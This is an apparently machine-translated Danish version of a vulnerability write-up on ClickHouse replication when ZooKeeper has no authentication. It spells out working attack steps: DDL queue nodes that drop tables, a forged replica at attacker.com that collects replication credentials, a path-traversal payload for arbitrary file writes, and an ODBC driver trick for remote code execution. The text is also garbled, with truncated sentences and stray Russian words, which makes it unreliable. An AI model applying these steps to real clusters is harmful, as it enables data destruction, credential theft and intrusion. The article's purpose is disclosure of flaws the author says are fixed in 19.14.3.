Denne artikel vil fortælle historien om en meget specifik sårbarhed i ClickHouse replikeringsprotokollen, og vil også vise, hvordan angrebsoverfladen kan udvides.
ClickHouse er en database til lagring af store mængder data, som oftest bruger mere end én replika. Clustering og replikering i ClickHouse er bygget ovenpå
Standard ZK-installationen kræver ikke godkendelse, så tusindvis af ZK-servere, der bruges til at konfigurere Kafka, Hadoop, ClickHouse er offentligt tilgængelige.
For at reducere din angrebsflade bør du altid konfigurere godkendelse og autorisation, når du installerer ZooKeeper
Der er selvfølgelig nogle 0-dages-baserede Java-deserialiseringer, men forestil dig, at en angriber kunne læse og skrive til ZooKeeper, brugt til ClickHouse-replikering.
Når konfigureret i klyngetilstand, understøtter ClickHouse distribuerede forespørgsler /clickhouse/task_queue/ddl
.
For eksempel opretter du en node /clickhouse/task_queue/ddl/query-0001
med indhold:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
og derefter vil testtabellen blive slettet på klyngeserverne host1 og host2. DDL understøtter også at køre CREATE/ALTER/DROP-forespørgsler.
Lyder det skræmmende? Men hvor kan en angriber få serveradresser?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
noder vil blive oprettet kolonner и metadata.
Indhold /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Er det muligt at flette data fra denne klynge? Ja, hvis replikeringsporten (TCP/9009
) på serveren chXX-address
firewallen vil ikke blive lukket, og godkendelse til replikering vil ikke blive konfigureret. Hvordan omgår man godkendelse?
En angriber kan oprette en ny replika i ZK ved blot at kopiere indholdet fra /clickhouse/tables/01-01/foobar/replicas/chXX
og ændre betydningen host
.
Indhold /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Så skal du fortælle de andre replikaer, at der er en ny blok af data på angriberens server, som de skal tage - en node oprettes i ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monotont voksende tæller, som bør være større end den sidste i hændelsesloggen):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
где kilde_replika — navnet på angriberens replika oprettet i det forrige trin, blok_id — datablokidentifikator, få - "hent blokering" kommando (og
Dernæst læser hver replika en ny hændelse i loggen og går til en server styret af angriberen for at modtage en blok af data (replikeringsprotokollen er binær, kører oven på HTTP). Server attacker.com
vil modtage anmodninger:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
hvor XXX er godkendelsesdataene for replikering. I nogle tilfælde kan dette være en konto med adgang til databasen via hoved-ClickHouse-protokollen og HTTP-protokollen. Som du har set, bliver angrebsoverfladen kritisk stor, fordi ZooKeeper, der bruges til replikering, blev efterladt uden godkendelse konfigureret.
Lad os se på funktionen af at få en blok af data fra en replika, det er skrevet med fuld tillid til, at alle replikaer er under ordentlig kontrol, og der er tillid mellem dem.
replikeringsbehandlingskode
Funktionen læser en liste over filer, derefter deres navne, størrelser, indhold og skriver dem derefter til filsystemet. Det er værd at beskrive separat, hvordan data lagres i filsystemet.
Der er flere undermapper i /var/lib/clickhouse
(standard lagermappe fra konfigurationsfilen):
flag - bibliotek til optagelse
tmp — bibliotek til lagring af midlertidige filer;
bruger_filer — handlinger med filer i anmodninger er begrænset til denne mappe (INTO OUTFILE og andre);
metadata — sql-filer med tabelbeskrivelser;
preprocessed_configs - behandlede afledte konfigurationsfiler fra /etc/clickhouse-server
;
data - den faktiske mappe med selve dataene, i dette tilfælde oprettes en separat undermappe her for hver database (f.eks /var/lib/clickhouse/data/default
).
For hver tabel oprettes en undermappe i databasebiblioteket. Hver kolonne er en separat fil afhængig af
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replikaen forventer at modtage filer med de samme navne ved behandling af en datablok og validerer dem ikke på nogen måde.
Den opmærksomme læser har sikkert allerede hørt om den usikre sammenkædning af filnavn i en funktion WriteBufferFromFile
. Ja, dette tillader en angriber at skrive vilkårligt indhold til enhver fil på FS med brugerrettigheder clickhouse
. For at gøre dette skal den replika, der kontrolleres af angriberen, returnere følgende svar på anmodningen (linjeskift er tilføjet for at lette forståelsen):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
og efter sammenkædning ../../../../../../../../../tmp/pwned
filen vil blive skrevet /tmp/pwned med indhold hellofromzookeeper.
Der er flere muligheder for at omdanne filskrivningskapacitet til fjernudførelse af kode (RCE).
Eksterne ordbøger i RCE
I ældre versioner blev mappen med ClickHouse-indstillinger gemt med brugerrettigheder klikhus Standard. Indstillingsfiler er XML-filer, som tjenesten læser ved opstart og derefter caches ind /var/lib/clickhouse/preprocessed_configs
. Når der sker ændringer, genlæses de. Hvis du har adgang til /etc/clickhouse-server
en angriber kan skabe sin egen root
.
ODBC til RCE
Ved installation af en pakke oprettes en bruger clickhouse
, men dens hjemmemappe er ikke oprettet /nonexistent
. Men når du bruger eksterne ordbøger, eller af andre årsager, opretter administratorer en mappe /nonexistent
og give brugeren clickhouse
adgang til at skrive til det (SSZB! ca. oversætter).
ClickHouse understøtter odbc-bridge
, så det er ikke længere muligt at angive driverstien fra anmodningen. Men kan en angriber skrive til hjemmebiblioteket ved hjælp af sårbarheden beskrevet ovenfor?
Lad os oprette en fil ~/.odbc.ini
med indhold som dette:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
derefter ved opstart SELECT * FROM odbc('DSN=lalala', 'test', 'test');
biblioteket vil blive indlæst test.so
og modtog RCE (tak
Disse og andre sårbarheder er blevet rettet i ClickHouse version 19.14.3. Pas på dine ClickHouse og ZooKeepers!
Kilde: www.habr.com